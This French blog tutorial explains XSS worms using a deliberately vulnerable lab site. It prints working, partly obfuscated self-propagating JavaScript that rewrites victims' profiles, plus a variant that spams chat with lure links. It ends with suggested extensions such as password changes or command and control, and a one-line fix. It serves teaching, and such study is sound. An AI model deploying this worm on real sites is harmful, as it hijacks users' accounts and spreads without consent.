Les Vers XSS: Game of Life

Par Geluchat, mar. 10 mars 2015, dans la catégorie Journal de geluchat

Etude de cas, Tutoriel, XSS

L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.

Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.

En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.

Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.

Je vous conseille d'ailleurs de lire l'histoire du créateur de ce ver qui a mis à disposition son code ainsi que ses réactions heure par heure pendant le déploiement de son ver.

Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.

Après cette petite introduction, passons à un exemple.

Pour commencer, j'ai créé un site faillible permettant de tester les vers XSS, il est composé de quatre parties :

Il est disponible ici.

Pour le configurer, rien de plus simple :

Voilà, vous êtes prêts pour la suite de cet article !

Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".

Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.

Le champ humeur ainsi que le tchat sont tous deux faillibles au XSS.

Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.

Procédons, maintenant au schéma d'attaque :

Sans tarder, voici le code du ver que nous allons utiliser :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Une petite explication s'impose.

On ouvre une requête HTTP :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

La ligne suivante correspond à humeur=Infected<script id="owned"> :

ps : Elle est encodée car le Javascript est très pointilleux avec ses mots clés.

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);

Passons ensuite à la ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction :

post=post.concat(document.getElementById("owned").innerHTML);

On ferme ensuite la balise script :

post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));

Enfin, on envoie le ver sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection :

http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Ce qui donne en action :

Alice-before


On change l'humeur par le script :


Alice-After


Puis, on se connecte en Admin :


Admin-before


Et enfin, on accède à affiche.php?id=2, l'id 2 étant l'id d'Alice :


Admin-After


On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice !

Oh Yes

Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans le tchat avec le lien du profil à chaque infection.

Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans le tchat :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);


randomstring=["[PDF] Pirater comme un nul", "[Tuto] BruteForce Facebook", "[TUTO] Hack Hotmail", "[INFO] Aller sur le deepweb"];
post="message=<a href=%22./affiche.php?id=1%22>";
post=post.concat(randomstring[Math.floor(Math.random() * randomstring.length)]);
post=post.concat("</a>");

var http2 = new XMLHttpRequest();
http2.open("POST", "/Ver/shout.php", true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.send(post);

alert("Infected");

Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.

Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.).

Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities()).

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.